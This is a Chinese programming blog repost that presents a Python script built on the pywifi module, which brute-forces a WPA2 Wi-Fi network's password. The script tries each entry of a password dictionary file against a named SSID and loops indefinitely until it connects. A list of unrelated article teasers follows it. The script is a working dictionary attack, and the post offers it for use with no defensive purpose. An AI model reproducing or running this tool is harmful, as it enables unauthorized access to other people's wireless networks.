python 利用pywifi模块实现连接网络破解wifi密码实时监控网络
作者:飞累了就睡在风雨中 发布时间:2023-06-15 11:21:03
标签:python,pywifi,模块,监控,网络
python 利用pywifi模块实现连接网络破解wifi密码实时监控网络,具体内容如下:
import pywifi
from pywifi import *
import time
def CrackWifi(password):
wifi = pywifi.PyWiFi()
iface = wifi.interfaces()[0] # 取一个无限网卡
# 是否成功的标志
isok = True
if(iface.status()!=const.IFACE_CONNECTED):
profile = pywifi.Profile()
profile.ssid = 'vivo X7'
profile.auth = const.AUTH_ALG_OPEN #需要秘密
profile.akm.append(const.AKM_TYPE_WPA2PSK) #加密类型
profile.cipher = const.CIPHER_TYPE_CCMP #加密单元
#profile.key = '123456789' #在此输入你的wifi密码
profile.key = password
#time.sleep(3)
wifi = pywifi.PyWiFi()
iface = wifi.interfaces()[0] # 取一个无限网卡
profile = iface.add_network_profile(profile)
iface.connect(profile)
time.sleep(3) #程序休眠时间3秒;如果没有此句,则会打印连接失败,因为它需要一定的检测时间
if iface.status()==const.IFACE_CONNECTED:
print("连接成功!!!")
else:
print("连接失败!!!")
isok=False
return isok
else:
print("已经连接网络")
return isok
#CrackWifi()
def PasswordFile():
pathfile=“H:/wififile.txt” #你的密码字典
files=open(pathfile,‘r')
while True:
fp=files.readline()
if not fp:
break
wifipass = fp[:-1]
print(wifipass)
if CrackWifi(wifipass):
break
while True:
PasswordFile()
time.sleep(5)
总结
以上所述是小编给大家介绍的python 利用pywifi模块实现连接网络破解wifi密码实时监控网络,网站的支持!
如果你觉得本文对你有帮助,欢迎转载,烦请注明出处,谢谢!
来源:https://blog.csdn.net/weixin_42847626/article/details/93485666


猜你喜欢
- 如代码1所示: // 代码 1 // 外观层类 class LWordHomePage { // 添加留言 public function
- 昨天在QQ群里讨论一个SQL优化的问题,语句大致如下:select A,min(B) from table group by A;--A,B
- 前言: 这篇文章主要介绍RMAN的常用方法,其中包含了作者一些自己的经验,里面的实验也基本全在WIN 2K和ORACLE 8.1.6环境下测
- replaceChild(a,b)是用来替换文档中的已有元素的 参数a:要插入的节点, 参数b:要替换的节点 var oDiv = docu
- 国旗是一个国家的象征,它可以反映一个国家的特色和传统,国旗起源于近代的欧洲,是一个国家主权意识不断增强后的必然产物,本文我们使用 Pytho
- 背景在写代码过程中,如果有频繁重复性的编码操作,或者可以Reuse的各类代码,可以通过Python写一个脚本,自动生成这类代码,就不用每次手
- 在进行数据分析的时候,会把把一些具有多个特征的样本数据进行拼接合并吗,放在一起分析,预测....下面是用numpy中的函数进行数组的拼接。(
- API照例,我们搬一下官网的 API:C++void cv::filter2D(InputArray src,
- 本文实例讲述了Python实现的微信好友数据分析功能。分享给大家供大家参考,具体如下:这里主要利用python对个人微信好友进行分析并把结果
- 到底什么是Python?•Python是一种解释性语言。Python代码在运行之前不需要编译。其它解释性语言还包括PHP和Ruby。•Pyt
- 本文记录了mysql 8.0.22 安装配置图文教程,供大家参考,具体内容如下一、安装(1)、官网下载(2)、安装(前提是之前没安装过mys
- 本文实例讲述了Go语言实现socket的方法。分享给大家供大家参考。具体分析如下:用golang不用他的net包还有什么意义,这里提供一个测
- 记录下第一次使用Python读写文件的过程,虽然很简单,第一次实现其实也有些注意的事项。单个文件的读操作:我们先假设一个需求如下:读取一个t
- 客户用的数据库是mysql,而研发好的产品支持oracle,为了让客户掏腰包,我们必须把数据库环境从oracle转向mysql。我们在转换的
- 本文实例讲述了python开启多个子进程并行运行的方法。分享给大家供大家参考。具体如下:这个python代码创建了多个process子进程,
- PDOStatement::setAttributePDOStatement::setAttribute — 设置一个语句属性(PHP 5
- 1. 游戏循环和游戏时钟之前几篇文章中,飞机大战游戏中的英雄飞机已经被绘制到屏幕上了,怎么能够让飞机移动呢?1.1 游戏中的动画实现原理跟电
- 本文实例讲述了Python闭包实现计数器的方法。分享给大家供大家参考。具体实现方法如下:先来看看专业的解释:闭包(Closure)是词法闭包
- 解读model.named_parameters()与model.parameters()model.named_parameters()迭
- 数据预处理在解决深度学习问题的过程中,往往需要花费大量的时间和精力。 数据处理的质量对训练神经网络来说十分重要,良好的数据处理不仅会加速模型